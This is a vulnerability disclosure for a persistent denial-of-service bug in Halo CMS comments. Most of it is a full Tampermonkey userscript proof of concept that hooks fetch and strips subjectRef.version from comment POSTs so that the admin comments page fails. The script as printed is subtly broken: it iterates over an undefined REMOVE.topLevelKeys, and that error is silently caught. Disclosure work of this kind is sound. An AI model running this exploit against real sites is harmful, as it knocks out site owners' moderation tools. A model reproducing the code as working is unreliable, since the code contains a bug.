CVE-2025-70886 is a persistent denial-of-service issue in Halo CMS. In versions up to and including v2.22.4, a remote attacker can submit a malformed comment payload that leaves the admin comments interface unusable: the comment is accepted, but opening the comments page afterward returns an internal server error.
The bug was reported as issue #7890 in the Halo project in November 2025. By early January 2026, it was still worth checking whether the problem had been addressed. The PoC below uses a Tampermonkey userscript to intercept comment creation requests and remove subjectRef.version from the POST body sent to /apis/api.halo.run/v1alpha1/comments.
// ==UserScript==
// @name Modify Halo comment payload
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove subjectRef.version
// @match *://*/*
// @grant none
// @run-at document-start
// ==/UserScript==
(function () {
'use strict';
console.log('[modify_halo_comment] script started');
const targetPath = '/apis/api.halo.run/v1alpha1/comments';
const REMOVE = {
paths: [
'subjectRef.version',
]
};
function deletePath(obj, dottedPath) {
if (!obj || typeof obj !== 'object') return false;
const parts = String(dottedPath).split('.').filter(Boolean);
if (parts.length === 0) return false;
let current = obj;
for (let i = 0; i < parts.length - 1; i++) {
const key = parts[i];
if (!current || typeof current !== 'object') return false;
current = current[key];
}
if (!current || typeof current !== 'object') return false;
const lastKey = parts[parts.length - 1];
if (lastKey in current) {
delete current[lastKey];
return true;
}
return false;
}
function stripFields(obj) {
let modified = false;
if (obj && typeof obj === 'object') {
for (const key of REMOVE.topLevelKeys) {
if (key in obj) {
delete obj[key];
modified = true;
}
}
for (const path of REMOVE.paths) {
if (deletePath(obj, path)) modified = true;
}
}
return modified;
}
// --- patch fetch ---
const _fetch = window.fetch;
window.fetch = async function (input, init) {
try {
const req = (input instanceof Request) ? input : null;
const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
let method = (init && init.method) || (req && req.method) || 'GET';
if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
console.log('[modify_halo_comment] intercept', { url, method });
const serializeBody = async (body) => {
if (typeof body === 'string') return body;
if (body instanceof Blob) return await body.text();
if (body instanceof FormData) return null;
if (body && typeof body === 'object') {
try { return JSON.stringify(body); } catch (e) { }
}
return null;
};
const tryModify = (rawBody) => {
if (!rawBody) return null;
try {
const obj = JSON.parse(rawBody);
const changed = stripFields(obj);
if (changed) {
const out = JSON.stringify(obj);
console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
return out;
}
console.log('[modify_halo_comment] no fields matched; not modified');
} catch (e) { }
return null;
};
if (init && 'body' in init && init.body != null) {
const serialized = await serializeBody(init.body);
console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
const modified = tryModify(serialized);
if (modified) {
init = Object.assign({}, init, { body: modified });
console.log('[modify_halo_comment] removed configured fields (fetch init)');
}
} else if (req) {
const cloned = req.clone();
const text = await cloned.text();
const modified = tryModify(text);
if (modified) {
const reqInit = {
method: req.method,
headers: req.headers,
body: modified,
referrer: req.referrer,
referrerPolicy: req.referrerPolicy,
mode: req.mode,
credentials: req.credentials,
cache: req.cache,
redirect: req.redirect,
integrity: req.integrity,
keepalive: req.keepalive,
signal: req.signal
};
input = new Request(req.url, reqInit);
console.log('[modify_halo_comment] removed configured fields (fetch Request)');
}
}
}
} catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
return _fetch.call(this, input, init);
};
})();
With the script enabled, posting a comment on a Halo CMS site caused the admin comments page to fail. The page would not open and returned a server internal error. Because the malformed comment is stored, the failure persists instead of disappearing after a refresh.
The immediate workaround is to install the Data Studio (数据工厂) plugin and use it to delete the offending comment. That restores access to the comments panel, but it does not change the fact that the malformed payload was accepted.
The reproduction was performed against Halo CMS v2.22.4 with comment component v3.0.0.